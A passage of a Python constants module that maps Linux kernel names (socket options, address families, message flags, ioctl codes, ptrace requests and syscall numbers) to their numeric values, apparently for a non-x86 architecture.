Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',330)\nSYS_accept4 = Constant('SYS_accept4',344)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',269)\nSYS_adjtimex = Constant('SYS_adjtimex',124)\nSYS_afs_syscall = Constant('SYS_afs_syscall',137)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_bdflush = Constant('SYS_bdflush',134)\nSYS_bind = Constant('SYS_bind',327)\nSYS_bpf = Constant('SYS_bpf',361)\nSYS_break = Constant('SYS_break',17)\nSYS_brk = Constant('SYS_brk',45)\nSYS_capget = Constant('SYS_capget',183)\nSYS_capset = Constant('SYS_capset',184)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',181)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',347)\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405)\nSYS_clock_getres = Constant('SYS_clock_getres',247)\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406)\nSYS_clock_gettime = Constant('SYS_clock_gettime',246)\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',403)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',248)\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407)\nSYS_clock_settime = Constant('SYS_clock_settime',245)\nSYS_clock_settime64 = Constant('SYS_clock_settime64',404)\nSYS_clone = Constant('SYS_clone',120)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',328)\nSYS_copy_file_range = Constant('SYS_copy_file_range',379)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',127)\nSYS_delete_module = Constant('SYS_delete_module',129)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',63)\nSYS_dup3 = Constant('SYS_dup3',316)\nSYS_epoll_create = Constant('SYS_epoll_create',236)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',315)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',237)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',303)\nSYS_epoll_wait = Constant('SYS_epoll_wait',238)\nSYS_eventfd = Constant('SYS_eventfd',307)\nSYS_eventfd2 = Constant('SYS_eventfd2',314)\nSYS_execve = Constant('SYS_execve',11)\nSYS_execveat = Constant('SYS_execveat',362)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',234)\nSYS_faccessat = Constant('SYS_faccessat',298)\nSYS_fadvise64 = Constant('SYS_fadvise64',233)\nSYS_fadvise64_64 = Constant('SYS_fadvise64_64',254)\nSYS_fallocate = Constant('SYS_fallocate',309)\nSYS_fanotify_init = Constant('SYS_fanotify_init',323)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',324)\nSYS_fchdir = Constant('SYS_fchdir',133)\nSYS_fchmod = Constant('SYS_fchmod',94)\nSYS_fchmodat = Constant('SYS_fchmodat',297)\nSYS_fchown = Constant('SYS_fchown',95)\nSYS_fchownat = Constant('SYS_fchownat',289)\nSYS_fcntl = Constant('SYS_fcntl',55)\nSYS_fcntl64 = Constant('SYS_fcntl64',204)\nSYS_fdatasync = Constant('SYS_fdatasync',148)\nSYS_fgetxattr = Constant('SYS_fgetxattr',214)\nSYS_finit_module = Constant('SYS_finit_module',353)\nSYS_flistxattr = Constant('SYS_flistxattr',217)\nSYS_flock = Constant('SYS_flock',143)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',220)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',211)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',108)\nSYS_fstat64 = Constant('SYS_fstat64',197)\nSYS_fstatat64 = Constant('SYS_fstatat64',291)\nSYS_fstatfs = Constant('SYS_fstatfs',100)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',253)\nSYS_fsync = Constant('SYS_fsync',118)\nSYS_ftime = Constant('SYS_ftime',35)\nSYS_ftruncate = Constant('SYS_ftruncate',93)\nSYS_ftruncate64 = Constant('SYS_ftruncate64',194)\nSYS_futex = Constant('SYS_futex',221)\nSYS_futex_time64 = Constant('SYS_futex_time64',422)\nSYS_futimesat = Constant('SYS_futimesat',290)\nSYS_getcpu = Constant('SYS_getcpu',302)\nSYS_getcwd = Constant('SYS_getcwd',182)\nSYS_getdents = Constant('SYS_getdents',141)\nSYS_getdents64 = Constant('SYS_getdents64',202)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgroups = Constant('SYS_getgroups',80)\nSYS_getitimer = Constant('SYS_getitimer',105)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130)\nSYS_getpeername = Constant('SYS_getpeername',332)\nSYS_getpgid = Constant('SYS_getpgid',132)\nSYS_getpgrp = Constant('SYS_getpgrp',65)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getpmsg = Constant('SYS_getpmsg',187)\nSYS_getppid = Constant('SYS_getppid',64)\nSYS_getpriority = Constant('SYS_getpriority',96)\nSYS_getrandom = Constant('SYS_getrandom',359)\nSYS_getresgid = Constant('SYS_getresgid',170)\nSYS_getresuid = Constant('SYS_getresuid',165)\nSYS_getrlimit = Constant('SYS_getrlimit',76)\nSYS_get_robust_list = Constant('SYS_get_robust_list',299)\nSYS_getrusage = Constant('SYS_getrusage',77)\nSYS_getsid = Constant('SYS_getsid',147)\nSYS_getsockname = Constant('SYS_getsockname',331)\nSYS_getsockopt = Constant('SYS_getsockopt',340)\nSYS_gettid = Constant('SYS_gettid',207)\nSYS_gettimeofday = Constant('SYS_gettimeofday',78)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getxattr = Constant('SYS_getxattr',212)\nSYS_gtty = Constant('SYS_gtty',32)\nSYS_idle = Constant('SYS_idle',112)\nSYS_init_module = Constant('SYS_init_module',128)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',276)\nSYS_inotify_init = Constant('SYS_inotify_init',275)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',318)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',277)\nSYS_io_cancel = Constant('SYS_io_cancel',231)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',228)\nSYS_io_getevents = Constant('SYS_io_getevents',229)\nSYS_ioperm = Constant('SYS_ioperm',101)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',388)\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416)\nSYS_iopl = Constant('SYS_iopl',110)\nSYS_ioprio_get = Constant('SYS_ioprio_get',274)\nSYS_ioprio_set = Constant('SYS_ioprio_set',273)\nSYS_io_setup = Constant('SYS_io_setup',227)\nSYS_io_submit = Constant('SYS_io_submit',230)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',117)\nSYS_kcmp = Constant('SYS_kcmp',354)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',382)\nSYS_kexec_load = Constant('SYS_kexec_load',268)\nSYS_keyctl = Constant('SYS_keyctl',271)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lgetxattr = Constant('SYS_lgetxattr',213)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',294)\nSYS_listen = Constant('SYS_listen',329)\nSYS_listxattr = Constant('SYS_listxattr',215)\nSYS_llistxattr = Constant('SYS_llistxattr',216)\nSYS__llseek = Constant('SYS__llseek',140)\nSYS_lock = Constant('SYS_lock',53)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',235)\nSYS_lremovexattr = Constant('SYS_lremovexattr',219)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',210)\nSYS_lstat = Constant('SYS_lstat',107)\nSYS_lstat64 = Constant('SYS_lstat64',196)\nSYS_madvise = Constant('SYS_madvise',205)\nSYS_membarrier = Constant('SYS_membarrier',365)\nSYS_memfd_create = 